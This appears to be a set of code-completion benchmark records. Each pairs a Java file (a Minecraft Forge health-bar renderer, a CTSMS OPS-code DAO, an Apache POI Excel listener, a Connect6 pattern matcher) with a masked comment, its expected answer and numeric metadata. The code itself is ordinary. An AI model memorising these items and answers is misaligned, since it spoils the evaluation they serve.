Math.max(10 - (healthRows - 2), 3); this.rand.setSeed(updateCounter * 312871L); int left = width / 2 - 91; int top = height - GuiIngameForge.left_height; if (!GuiIngameForge.renderExperiance) { top += 7; yBasePos += 7; } int regen = -1; if (mc.thePlayer.isPotionActive(Potion.regeneration)) { regen = updateCounter % 25; } final int TOP; int tinkerTextureY = 0; if (mc.theWorld.getWorldInfo().isHardcoreModeEnabled()) { TOP = 9 * 5; tinkerTextureY += 27; } else { TOP = 0; } final int BACKGROUND = (highlight ? 25 : 16); int MARGIN = 16; if (mc.thePlayer.isPotionActive(Potion.poison)) { MARGIN += 36; tinkerTextureY = 9; } else if (mc.thePlayer.isPotionActive(Potion.wither)) { MARGIN += 72; tinkerTextureY = 18; } float absorbRemaining = absorb; // Render vanilla<SUF> for (int i = MathHelper.ceiling_float_int((healthMax + absorb) / 2.0F) - 1; i >= 0; --i) { final int row = MathHelper.ceiling_float_int((float) (i + 1) / 10.0F) - 1; int x = left + i % 10 * 8; int y = top - row * rowHeight; if (health <= 4) y += rand.nextInt(2); if (i == regen) y -= 2; this.drawTexturedModalRect(x, y, BACKGROUND, TOP, 9, 9); // heart background texture if (highlight) { if (i * 2 + 1 < healthLast) { this.drawTexturedModalRect(x, y, MARGIN + 54, TOP, 9, 9); // full heart damage texture } else if (i * 2 + 1 == healthLast) { this.drawTexturedModalRect(x, y, MARGIN + 63, TOP, 9, 9); // half heart damage texture } } if (absorbRemaining > 0.0F) { if (absorbRemaining == absorb && absorb % 2.0F == 1.0F) { this.drawTexturedModalRect(x, y, MARGIN + 153, TOP, 9, 9); // half heart absorption texture } else { this.drawTexturedModalRect(x, y, MARGIN + 144, TOP, 9, 9); // full heart absorption texture } absorbRemaining -= 2.0F; } else if (i * 2 + 1 + 20 >= health) { // only draw red vanilla hearts when it won't be covered by tinkers' hearts if (i * 2 + 1 < health) { this.drawTexturedModalRect(x, y, MARGIN + 36, TOP, 9, 9); // full heart texture } else if (i * 2 + 1 == health) { this.drawTexturedModalRect(x, y, MARGIN + 45, TOP, 9, 9); // half heart texture } } } if (health > 20) { // Render tinkers' hearts mc.getTextureManager().bindTexture(TINKER_HEARTS); for (int i = Math.max(0, health / 20 - 2); i < health / 20; i++) { // uncomment the line below to help with debugging // yBasePos -=20; final int heartIndexMax = Math.min(10, (health - 20 * (i + 1)) / 2); for (int j = 0; j < heartIndexMax; j++) { int y = 0; if (j == regen) y -= 2; if ((i + 1) * 20 + j * 2 + 21 >= health) { // full heart texture this.drawTexturedModalRect(xBasePos + 8 * j, yBasePos + y, 18 * i, tinkerTextureY, 9, 9); } } if (health % 2 == 1 && heartIndexMax < 10) { int y = 0; if (heartIndexMax == regen) y -= 2; // half heart texture this.drawTexturedModalRect( xBasePos + 8 * heartIndexMax, yBasePos + y, 9 + 18 * i, tinkerTextureY, 9, 9); } } mc.getTextureManager().bindTexture(icons); } GuiIngameForge.left_height += 10; if (absorb > 0) GuiIngameForge.left_height += 10; GL11.glDisable(GL11.GL_BLEND); mc.mcProfiler.endSection(); event.setCanceled(true); MinecraftForge.EVENT_BUS.post(new RenderGameOverlayEvent.Post(event, HEALTH)); } }
False
1,927
4
2,157
5
2,214
4
2,157
5
2,510
5
false
false
false
false
false
true
3,987
66305_1
// Generated by: hibernate/SpringHibernateDaoImpl.vsl in andromda-spring-cartridge. // license-header java merge-point /** * This is only generated once! It will never be overwritten. * You can (and have to!) safely modify it by hand. */ package org.phoenixctms.ctsms.domain; import java.util.ArrayList; import java.util.Collection; import java.util.Collections; import java.util.Iterator; import java.util.Set; import java.util.regex.Matcher; import java.util.regex.Pattern; import org.hibernate.Transaction; import org.hibernate.criterion.CriteriaSpecification; import org.hibernate.criterion.Projections; import org.hibernate.criterion.Restrictions; import org.phoenixctms.ctsms.compare.FieldComparator; import org.phoenixctms.ctsms.util.CommonUtil; import org.phoenixctms.ctsms.vo.OpsSystBlockVO; import org.phoenixctms.ctsms.vo.OpsSystCategoryVO; import org.phoenixctms.ctsms.vo.OpsSystVO; /** * @see OpsSyst */ public class OpsSystDaoImpl extends OpsSystDaoBase { // Notation: erste drei Stellen numerisch, 4. Stelle alphanumerisch, 5./6. Stelle numerisch oder: x - sonstige Prozeduren, y - nicht naeher bezeichnet private final static Pattern OPS_CODE_PATTERN_REGEXP = Pattern.compile("^(\\d-)(\\d{2,2}[\\da-z])((\\.[\\da-z])([\\da-z])?)?(#)?$"); private org.hibernate.Criteria createOpsSystCriteria() { org.hibernate.Criteria opsSystCriteria = this.getSession().createCriteria(OpsSyst.class); return opsSystCriteria; } /** * @inheritDoc */ @Override protected OpsSyst handleFindByOpsCode(String firstCode, String secondCode, String revision) { String code = CommonUtil.isEmptyString(firstCode) ? secondCode : firstCode; if (!CommonUtil.isEmptyString(code)) { Matcher matcher = OPS_CODE_PATTERN_REGEXP.matcher(code); if (matcher.find()) { StringBuilder search = new StringBuilder(matcher.group(1)); search.append(matcher.group(2)); String detail = matcher.group(3); if (detail != null && detail.length() > 0) { search.append(detail); } org.hibernate.Criteria opsSystCriteria = createOpsSystCriteria(); opsSystCriteria.setCacheable(true); opsSystCriteria.add(Restrictions.eq("revision", revision)); org.hibernate.Criteria categoriesCriteria = opsSystCriteria.createCriteria("categories"); categoriesCriteria.add(Restrictions.eq("code", search.toString())); categoriesCriteria.add(Restrictions.eq("last", true)); opsSystCriteria.setMaxResults(1); return (OpsSyst) opsSystCriteria.uniqueResult(); } } return null; } @Override protected long handleGetProcedureCount(String revision) throws Exception { org.hibernate.Criteria opsSystCriteria = createOpsSystCriteria(); opsSystCriteria.add(Restrictions.eq("revision", revision)); opsSystCriteria.createCriteria("codes", CriteriaSpecification.INNER_JOIN) .createCriteria("procedures", CriteriaSpecification.INNER_JOIN); return (Long) opsSystCriteria.setProjection(Projections.rowCount()).uniqueResult(); } @Override public void handleRemoveAllTxn(Set<OpsSyst> opsSysts) throws Exception { Transaction transaction = this.getSession(true).beginTransaction(); try { Iterator<OpsSyst> it = opsSysts.iterator(); while (it.hasNext()) { removeOpsSyst(it.next().getId()); } transaction.commit(); } catch (Exception e) { transaction.rollback(); throw e; } } @Override public void handleRemoveTxn(Long opsSystId) throws Exception { Transaction transaction = this.getSession(true).beginTransaction(); try { removeOpsSyst(opsSystId); transaction.commit(); } catch (Exception e) { transaction.rollback(); throw e; } } @Override public void handleRemoveTxn(OpsSyst opsSyst) throws Exception { Transaction transaction = this.getSession(true).beginTransaction(); try { removeOpsSyst(opsSyst.getId()); transaction.commit(); } catch (Exception e) { transaction.rollback(); throw e; } } /** * Retrieves the entity object that is associated with the specified value object * from the object store. If no such entity object exists in the object store, * a new, blank entity is created */ private OpsSyst loadOpsSystFromOpsSystVO(OpsSystVO opsSystVO) { Long id = opsSystVO.getId(); OpsSyst opsSyst = null; if (id != null) { opsSyst = this.load(id); } if (opsSyst == null) { opsSyst = OpsSyst.Factory.newInstance(); } return opsSyst; } /** * @inheritDoc */ @Override public OpsSyst opsSystVOToEntity(OpsSystVO opsSystVO) { OpsSyst entity = this.loadOpsSystFromOpsSystVO(opsSystVO); this.opsSystVOToEntity(opsSystVO, entity, true); return entity; } /** * @inheritDoc */ @Override public void opsSystVOToEntity( OpsSystVO source, OpsSyst target, boolean copyIfNull) { super.opsSystVOToEntity(source, target, copyIfNull); Collection blocks = source.getBlocks(); if (blocks.size() > 0) { blocks = new ArrayList(blocks); //prevent changing VO this.getOpsSystBlockDao().opsSystBlockVOToEntityCollection(blocks); target.setBlocks(blocks); } else if (copyIfNull) { target.getBlocks().clear(); } Collection categories = source.getCategories(); if (categories.size() > 0) { categories = new ArrayList(categories); //prevent changing VO this.getOpsSystCategoryDao().opsSystCategoryVOToEntityCollection(categories); target.setCategories(categories); } else if (copyIfNull) { target.getCategories().clear(); } } private void removeOpsSyst(Long opsSystId) { OpsSyst opsSyst = get(opsSystId); this.getHibernateTemplate().deleteAll(opsSyst.getCodes()); // constraint error if used by procedure opsSyst.getCodes().clear(); Iterator<OpsSystCategory> it = opsSyst.getCategories().iterator(); while (it.hasNext()) { this.getHibernateTemplate().deleteAll(it.next().getModifiers()); } this.getHibernateTemplate().deleteAll(opsSyst.getCategories()); this.getHibernateTemplate().deleteAll(opsSyst.getBlocks()); this.getHibernateTemplate().delete(opsSyst); } private ArrayList<OpsSystBlockVO> toOpsSystBlockVOCollection(Collection<OpsSystBlock> blocks) { // related to http://forum.andromda.org/viewtopic.php?t=4288 OpsSystBlockDao opsSystBlockDao = this.getOpsSystBlockDao(); ArrayList<OpsSystBlockVO> result = new ArrayList<OpsSystBlockVO>(blocks.size()); Iterator<OpsSystBlock> it = blocks.iterator(); while (it.hasNext()) { result.add(opsSystBlockDao.toOpsSystBlockVO(it.next())); } Collections.sort(result, new FieldComparator(false, "getLevel")); return result; } private ArrayList<OpsSystCategoryVO> toOpsSystCategoryVOCollection(Collection<OpsSystCategory> categories) { // related to http://forum.andromda.org/viewtopic.php?t=4288 OpsSystCategoryDao opsSystCategoryDao = this.getOpsSystCategoryDao(); ArrayList<OpsSystCategoryVO> result = new ArrayList<OpsSystCategoryVO>(categories.size()); Iterator<OpsSystCategory> it = categories.iterator(); while (it.hasNext()) { result.add(opsSystCategoryDao.toOpsSystCategoryVO(it.next())); } Collections.sort(result, new FieldComparator(false, "getLevel")); return result; } /** * @inheritDoc */ @Override public OpsSystVO toOpsSystVO(final OpsSyst entity) { return super.toOpsSystVO(entity); } /** * @inheritDoc */ @Override public void toOpsSystVO( OpsSyst source, OpsSystVO target) { super.toOpsSystVO(source, target); target.setBlocks(toOpsSystBlockVOCollection(source.getBlocks())); target.setCategories(toOpsSystCategoryVOCollection(source.getCategories())); } }
phoenixctms/ctsms
core/src/main/java/org/phoenixctms/ctsms/domain/OpsSystDaoImpl.java
2,678
// license-header java merge-point
line_comment
nl
// Generated by: hibernate/SpringHibernateDaoImpl.vsl in andromda-spring-cartridge. // license-header java<SUF> /** * This is only generated once! It will never be overwritten. * You can (and have to!) safely modify it by hand. */ package org.phoenixctms.ctsms.domain; import java.util.ArrayList; import java.util.Collection; import java.util.Collections; import java.util.Iterator; import java.util.Set; import java.util.regex.Matcher; import java.util.regex.Pattern; import org.hibernate.Transaction; import org.hibernate.criterion.CriteriaSpecification; import org.hibernate.criterion.Projections; import org.hibernate.criterion.Restrictions; import org.phoenixctms.ctsms.compare.FieldComparator; import org.phoenixctms.ctsms.util.CommonUtil; import org.phoenixctms.ctsms.vo.OpsSystBlockVO; import org.phoenixctms.ctsms.vo.OpsSystCategoryVO; import org.phoenixctms.ctsms.vo.OpsSystVO; /** * @see OpsSyst */ public class OpsSystDaoImpl extends OpsSystDaoBase { // Notation: erste drei Stellen numerisch, 4. Stelle alphanumerisch, 5./6. Stelle numerisch oder: x - sonstige Prozeduren, y - nicht naeher bezeichnet private final static Pattern OPS_CODE_PATTERN_REGEXP = Pattern.compile("^(\\d-)(\\d{2,2}[\\da-z])((\\.[\\da-z])([\\da-z])?)?(#)?$"); private org.hibernate.Criteria createOpsSystCriteria() { org.hibernate.Criteria opsSystCriteria = this.getSession().createCriteria(OpsSyst.class); return opsSystCriteria; } /** * @inheritDoc */ @Override protected OpsSyst handleFindByOpsCode(String firstCode, String secondCode, String revision) { String code = CommonUtil.isEmptyString(firstCode) ? secondCode : firstCode; if (!CommonUtil.isEmptyString(code)) { Matcher matcher = OPS_CODE_PATTERN_REGEXP.matcher(code); if (matcher.find()) { StringBuilder search = new StringBuilder(matcher.group(1)); search.append(matcher.group(2)); String detail = matcher.group(3); if (detail != null && detail.length() > 0) { search.append(detail); } org.hibernate.Criteria opsSystCriteria = createOpsSystCriteria(); opsSystCriteria.setCacheable(true); opsSystCriteria.add(Restrictions.eq("revision", revision)); org.hibernate.Criteria categoriesCriteria = opsSystCriteria.createCriteria("categories"); categoriesCriteria.add(Restrictions.eq("code", search.toString())); categoriesCriteria.add(Restrictions.eq("last", true)); opsSystCriteria.setMaxResults(1); return (OpsSyst) opsSystCriteria.uniqueResult(); } } return null; } @Override protected long handleGetProcedureCount(String revision) throws Exception { org.hibernate.Criteria opsSystCriteria = createOpsSystCriteria(); opsSystCriteria.add(Restrictions.eq("revision", revision)); opsSystCriteria.createCriteria("codes", CriteriaSpecification.INNER_JOIN) .createCriteria("procedures", CriteriaSpecification.INNER_JOIN); return (Long) opsSystCriteria.setProjection(Projections.rowCount()).uniqueResult(); } @Override public void handleRemoveAllTxn(Set<OpsSyst> opsSysts) throws Exception { Transaction transaction = this.getSession(true).beginTransaction(); try { Iterator<OpsSyst> it = opsSysts.iterator(); while (it.hasNext()) { removeOpsSyst(it.next().getId()); } transaction.commit(); } catch (Exception e) { transaction.rollback(); throw e; } } @Override public void handleRemoveTxn(Long opsSystId) throws Exception { Transaction transaction = this.getSession(true).beginTransaction(); try { removeOpsSyst(opsSystId); transaction.commit(); } catch (Exception e) { transaction.rollback(); throw e; } } @Override public void handleRemoveTxn(OpsSyst opsSyst) throws Exception { Transaction transaction = this.getSession(true).beginTransaction(); try { removeOpsSyst(opsSyst.getId()); transaction.commit(); } catch (Exception e) { transaction.rollback(); throw e; } } /** * Retrieves the entity object that is associated with the specified value object * from the object store. If no such entity object exists in the object store, * a new, blank entity is created */ private OpsSyst loadOpsSystFromOpsSystVO(OpsSystVO opsSystVO) { Long id = opsSystVO.getId(); OpsSyst opsSyst = null; if (id != null) { opsSyst = this.load(id); } if (opsSyst == null) { opsSyst = OpsSyst.Factory.newInstance(); } return opsSyst; } /** * @inheritDoc */ @Override public OpsSyst opsSystVOToEntity(OpsSystVO opsSystVO) { OpsSyst entity = this.loadOpsSystFromOpsSystVO(opsSystVO); this.opsSystVOToEntity(opsSystVO, entity, true); return entity; } /** * @inheritDoc */ @Override public void opsSystVOToEntity( OpsSystVO source, OpsSyst target, boolean copyIfNull) { super.opsSystVOToEntity(source, target, copyIfNull); Collection blocks = source.getBlocks(); if (blocks.size() > 0) { blocks = new ArrayList(blocks); //prevent changing VO this.getOpsSystBlockDao().opsSystBlockVOToEntityCollection(blocks); target.setBlocks(blocks); } else if (copyIfNull) { target.getBlocks().clear(); } Collection categories = source.getCategories(); if (categories.size() > 0) { categories = new ArrayList(categories); //prevent changing VO this.getOpsSystCategoryDao().opsSystCategoryVOToEntityCollection(categories); target.setCategories(categories); } else if (copyIfNull) { target.getCategories().clear(); } } private void removeOpsSyst(Long opsSystId) { OpsSyst opsSyst = get(opsSystId); this.getHibernateTemplate().deleteAll(opsSyst.getCodes()); // constraint error if used by procedure opsSyst.getCodes().clear(); Iterator<OpsSystCategory> it = opsSyst.getCategories().iterator(); while (it.hasNext()) { this.getHibernateTemplate().deleteAll(it.next().getModifiers()); } this.getHibernateTemplate().deleteAll(opsSyst.getCategories()); this.getHibernateTemplate().deleteAll(opsSyst.getBlocks()); this.getHibernateTemplate().delete(opsSyst); } private ArrayList<OpsSystBlockVO> toOpsSystBlockVOCollection(Collection<OpsSystBlock> blocks) { // related to http://forum.andromda.org/viewtopic.php?t=4288 OpsSystBlockDao opsSystBlockDao = this.getOpsSystBlockDao(); ArrayList<OpsSystBlockVO> result = new ArrayList<OpsSystBlockVO>(blocks.size()); Iterator<OpsSystBlock> it = blocks.iterator(); while (it.hasNext()) { result.add(opsSystBlockDao.toOpsSystBlockVO(it.next())); } Collections.sort(result, new FieldComparator(false, "getLevel")); return result; } private ArrayList<OpsSystCategoryVO> toOpsSystCategoryVOCollection(Collection<OpsSystCategory> categories) { // related to http://forum.andromda.org/viewtopic.php?t=4288 OpsSystCategoryDao opsSystCategoryDao = this.getOpsSystCategoryDao(); ArrayList<OpsSystCategoryVO> result = new ArrayList<OpsSystCategoryVO>(categories.size()); Iterator<OpsSystCategory> it = categories.iterator(); while (it.hasNext()) { result.add(opsSystCategoryDao.toOpsSystCategoryVO(it.next())); } Collections.sort(result, new FieldComparator(false, "getLevel")); return result; } /** * @inheritDoc */ @Override public OpsSystVO toOpsSystVO(final OpsSyst entity) { return super.toOpsSystVO(entity); } /** * @inheritDoc */ @Override public void toOpsSystVO( OpsSyst source, OpsSystVO target) { super.toOpsSystVO(source, target); target.setBlocks(toOpsSystBlockVOCollection(source.getBlocks())); target.setCategories(toOpsSystCategoryVOCollection(source.getCategories())); } }
False
1,986
6
2,332
8
2,206
8
2,332
8
2,818
8
false
false
false
false
false
true
1,061
183347_0
package excelimporter.reader.readers; import java.util.HashMap; import org.apache.poi.hssf.eventusermodel.HSSFListener; import org.apache.poi.hssf.record.BOFRecord; import org.apache.poi.hssf.record.LabelSSTRecord; import org.apache.poi.hssf.record.Record; import org.apache.poi.hssf.record.RowRecord; /** * * * @author H. van Kranenburg, J. van der Hoek, J. Veldhuizen * @version $Id: ExcelXLSReaderHeaderFirstPassListener.java 8202 2008-10-03 10:05:54Z Jonathan Veldhuizen $ */ public class ExcelXLSReaderHeaderFirstPassListener implements HSSFListener { private final int sheet; private final int row; int workbookNow = -1; int sheetNow = -1; int firstcol; int lastcol; // sstmap: list of unique strings occurring // at first pass these will be marked with an empty dummy string when processing // the LabelSSTRecord fields that are relevant to us // at second pass this dummy string will be replaced by the actual string from the sst map private HashMap<Integer, String> sstmap; public ExcelXLSReaderHeaderFirstPassListener( int sheet, int row ) { // this worksheet contains the row with template header fields this.sheet = sheet; // the row that contains template header fields this.row = row; } /** * This method listens for incoming records and handles them as required. * * @param record The record that was found while reading. */ @Override public void processRecord( Record record ) { // Most frequent encountered first... switch (record.getSid()) { case LabelSSTRecord.sid: // LabelSSTRecord is a record that holds a pointer to a unicode string in the Static String Table if ( this.sheetNow == this.sheet ) { LabelSSTRecord lrec = (LabelSSTRecord) record; // is this cell of interest to us? if ( lrec.getRow() == this.row ) { int sstindex = lrec.getSSTIndex(); // mark this spot in the sstlist, so it will be filled with the string at second pass this.sstmap.put(sstindex, ""); } } break; case RowRecord.sid: if ( this.sheetNow == this.sheet ) { RowRecord rowrec = (RowRecord) record; if ( rowrec.getRowNumber() == this.row ) { this.firstcol = Integer.valueOf(rowrec.getFirstCol()); this.lastcol = Integer.valueOf(rowrec.getLastCol()); // http://java.sun.com/j2se/1.5.0/docs/api/java/util/HashMap.html // "As a general rule, the default load factor (.75) offers a good tradeoff between time and space costs." int sstmapsize = (int) ((this.lastcol - this.firstcol) / 0.75); this.sstmap = new HashMap<Integer, String>(sstmapsize); } } break; case BOFRecord.sid: // BOFRecord can represent either the beginning of a sheet or the workbook BOFRecord bof = (BOFRecord) record; if ( bof.getType() == BOFRecord.TYPE_WORKBOOK ) { ++this.workbookNow; } else if ( bof.getType() == BOFRecord.TYPE_WORKSHEET ) { ++this.sheetNow; } break; } } public HashMap<Integer, String> getSSTMap() { return this.sstmap; } public int getRowWidth() { return this.lastcol - this.firstcol; } }
Mallikarjun67/LETSTRAVEL
.svn/pristine/9f/9f12b8f3c3c6cfb2baac80979293fed40134f5ea.svn-base
1,025
/** * * * @author H. van Kranenburg, J. van der Hoek, J. Veldhuizen * @version $Id: ExcelXLSReaderHeaderFirstPassListener.java 8202 2008-10-03 10:05:54Z Jonathan Veldhuizen $ */
block_comment
nl
package excelimporter.reader.readers; import java.util.HashMap; import org.apache.poi.hssf.eventusermodel.HSSFListener; import org.apache.poi.hssf.record.BOFRecord; import org.apache.poi.hssf.record.LabelSSTRecord; import org.apache.poi.hssf.record.Record; import org.apache.poi.hssf.record.RowRecord; /** * * * @author H. van<SUF>*/ public class ExcelXLSReaderHeaderFirstPassListener implements HSSFListener { private final int sheet; private final int row; int workbookNow = -1; int sheetNow = -1; int firstcol; int lastcol; // sstmap: list of unique strings occurring // at first pass these will be marked with an empty dummy string when processing // the LabelSSTRecord fields that are relevant to us // at second pass this dummy string will be replaced by the actual string from the sst map private HashMap<Integer, String> sstmap; public ExcelXLSReaderHeaderFirstPassListener( int sheet, int row ) { // this worksheet contains the row with template header fields this.sheet = sheet; // the row that contains template header fields this.row = row; } /** * This method listens for incoming records and handles them as required. * * @param record The record that was found while reading. */ @Override public void processRecord( Record record ) { // Most frequent encountered first... switch (record.getSid()) { case LabelSSTRecord.sid: // LabelSSTRecord is a record that holds a pointer to a unicode string in the Static String Table if ( this.sheetNow == this.sheet ) { LabelSSTRecord lrec = (LabelSSTRecord) record; // is this cell of interest to us? if ( lrec.getRow() == this.row ) { int sstindex = lrec.getSSTIndex(); // mark this spot in the sstlist, so it will be filled with the string at second pass this.sstmap.put(sstindex, ""); } } break; case RowRecord.sid: if ( this.sheetNow == this.sheet ) { RowRecord rowrec = (RowRecord) record; if ( rowrec.getRowNumber() == this.row ) { this.firstcol = Integer.valueOf(rowrec.getFirstCol()); this.lastcol = Integer.valueOf(rowrec.getLastCol()); // http://java.sun.com/j2se/1.5.0/docs/api/java/util/HashMap.html // "As a general rule, the default load factor (.75) offers a good tradeoff between time and space costs." int sstmapsize = (int) ((this.lastcol - this.firstcol) / 0.75); this.sstmap = new HashMap<Integer, String>(sstmapsize); } } break; case BOFRecord.sid: // BOFRecord can represent either the beginning of a sheet or the workbook BOFRecord bof = (BOFRecord) record; if ( bof.getType() == BOFRecord.TYPE_WORKBOOK ) { ++this.workbookNow; } else if ( bof.getType() == BOFRecord.TYPE_WORKSHEET ) { ++this.sheetNow; } break; } } public HashMap<Integer, String> getSSTMap() { return this.sstmap; } public int getRowWidth() { return this.lastcol - this.firstcol; } }
False
835
77
980
82
953
75
980
82
1,132
82
false
false
false
false
false
true
3,415
29343_15
package logic; /** * Patterns are used for finding combinations. A 2 dimensional int represents the pattern. * It uses the following codes to determine if a pattern matches: * 0 dont care * 1 must be my color * 2 must be open * 3 must be other color */ public class Pattern { // The pattern int[][] pattern; // Geeft aan of de uitkomst van de pattern true of false moet zijn voor een pattern collectie boolean resultMustbe = true; /** * Constructor1 */ public Pattern(int[][] pattern, boolean resultMustbe) { this.pattern = pattern; this.resultMustbe = resultMustbe; } /** * Constructor2, resultMustbe = standard true. */ public Pattern(int[][] pattern) { this.pattern = pattern; } /** * Mirrors the pattern horizontaly. */ public void mirrorPattern() { int[][] mirroredPattern = new int[pattern.length][pattern[0].length]; int count = 0; for (int i= pattern.length - 1; i >= 0;i--) { mirroredPattern[i] = pattern[count].clone(); count++; } this.pattern = mirroredPattern; } /** * Rotates the pattern clockwise. */ public void rotatePattern() { int row = this.pattern.length; int column = this.pattern[0].length; int[][] newarray = new int[column][row]; for (int i = 0; i < column; i++) { int x = row - 1; for (int j = 0; j < row; j++) { newarray[i][j] = this.pattern[x--][i]; } } this.pattern = newarray; } /** * Check if a pattern patches on a given position (patternX, patternY). * There is an option to check the pattern rotated 45 degrees (rotated45degrees), * this can only be used on patterns that consist of a single line horizontaly or verticaly. */ public boolean checkPattern(Player[][] field, int patternX, int patternY, boolean rotated45degrees) { int yFrom = patternY - ((pattern.length - 1) / 2); // y startPosition in field int xFrom = patternX - ((pattern[0].length - 1) / 2); // x startPosition in field int yTo = yFrom + pattern.length; int xTo = xFrom + pattern[0].length; Player player = field[patternY][patternX]; for (int y=yFrom;y < yTo;y++){ for (int x=xFrom;x < xTo;x++) { int pX = x - xFrom; // pattern x int pY = y - yFrom; // pattern y int fX = x; // field x int fY = y; // field y // When rotated fix x and y if (rotated45degrees) { // Normaly 1 row horizontaly if (pattern.length == 1) { // fix y fY += pX - ((pattern[0].length - 1) / 2); } // Normaly 1 row vertical else if (pattern[0].length == 1) { fX -= pY - ((pattern.length - 1) / 2); } } int patternValue = pattern[pY][pX]; try { Player fieldValue = field[fY][fX]; // 1 must be my color if (patternValue == 1 && fieldValue != player) return false; // 2 must be open if (patternValue == 2 && fieldValue != null) return false; // 3 must be other color if (patternValue == 3 && (fieldValue == player || fieldValue == null)) return false; } catch (ArrayIndexOutOfBoundsException e) { // Pattern valt buiten het veld, // als de pattern waarde geen 0 is of blocked // kan de pattern niet. // if (pattern[pY][pX] != 0) // return false; // {0,0,0,3,2,1,1,2,2,2,0} if (patternValue != 0 && patternValue != 3){ return false; } } } } return true; } /** * Prints a representation of the pattern for testing purposes. */ public void print() { for(int i = 0; i<pattern.length;i++) { for(int j = 0; j<pattern[0].length;j++) { System.out.print(pattern[i][j]+" "); } System.out.println(""); } } }
kverhoef/connect6
src/logic/Pattern.java
1,387
// Pattern valt buiten het veld,
line_comment
nl
package logic; /** * Patterns are used for finding combinations. A 2 dimensional int represents the pattern. * It uses the following codes to determine if a pattern matches: * 0 dont care * 1 must be my color * 2 must be open * 3 must be other color */ public class Pattern { // The pattern int[][] pattern; // Geeft aan of de uitkomst van de pattern true of false moet zijn voor een pattern collectie boolean resultMustbe = true; /** * Constructor1 */ public Pattern(int[][] pattern, boolean resultMustbe) { this.pattern = pattern; this.resultMustbe = resultMustbe; } /** * Constructor2, resultMustbe = standard true. */ public Pattern(int[][] pattern) { this.pattern = pattern; } /** * Mirrors the pattern horizontaly. */ public void mirrorPattern() { int[][] mirroredPattern = new int[pattern.length][pattern[0].length]; int count = 0; for (int i= pattern.length - 1; i >= 0;i--) { mirroredPattern[i] = pattern[count].clone(); count++; } this.pattern = mirroredPattern; } /** * Rotates the pattern clockwise. */ public void rotatePattern() { int row = this.pattern.length; int column = this.pattern[0].length; int[][] newarray = new int[column][row]; for (int i = 0; i < column; i++) { int x = row - 1; for (int j = 0; j < row; j++) { newarray[i][j] = this.pattern[x--][i]; } } this.pattern = newarray; } /** * Check if a pattern patches on a given position (patternX, patternY). * There is an option to check the pattern rotated 45 degrees (rotated45degrees), * this can only be used on patterns that consist of a single line horizontaly or verticaly. */ public boolean checkPattern(Player[][] field, int patternX, int patternY, boolean rotated45degrees) { int yFrom = patternY - ((pattern.length - 1) / 2); // y startPosition in field int xFrom = patternX - ((pattern[0].length - 1) / 2); // x startPosition in field int yTo = yFrom + pattern.length; int xTo = xFrom + pattern[0].length; Player player = field[patternY][patternX]; for (int y=yFrom;y < yTo;y++){ for (int x=xFrom;x < xTo;x++) { int pX = x - xFrom; // pattern x int pY = y - yFrom; // pattern y int fX = x; // field x int fY = y; // field y // When rotated fix x and y if (rotated45degrees) { // Normaly 1 row horizontaly if (pattern.length == 1) { // fix y fY += pX - ((pattern[0].length - 1) / 2); } // Normaly 1 row vertical else if (pattern[0].length == 1) { fX -= pY - ((pattern.length - 1) / 2); } } int patternValue = pattern[pY][pX]; try { Player fieldValue = field[fY][fX]; // 1 must be my color if (patternValue == 1 && fieldValue != player) return false; // 2 must be open if (patternValue == 2 && fieldValue != null) return false; // 3 must be other color if (patternValue == 3 && (fieldValue == player || fieldValue == null)) return false; } catch (ArrayIndexOutOfBoundsException e) { // Pattern valt<SUF> // als de pattern waarde geen 0 is of blocked // kan de pattern niet. // if (pattern[pY][pX] != 0) // return false; // {0,0,0,3,2,1,1,2,2,2,0} if (patternValue != 0 && patternValue != 3){ return false; } } } } return true; } /** * Prints a representation of the pattern for testing purposes. */ public void print() { for(int i = 0; i<pattern.length;i++) { for(int j = 0; j<pattern[0].length;j++) { System.out.print(pattern[i][j]+" "); } System.out.println(""); } } }
True
1,129
10
1,226
11
1,285
8
1,226
11
1,541
11
false
false
false
false
false
true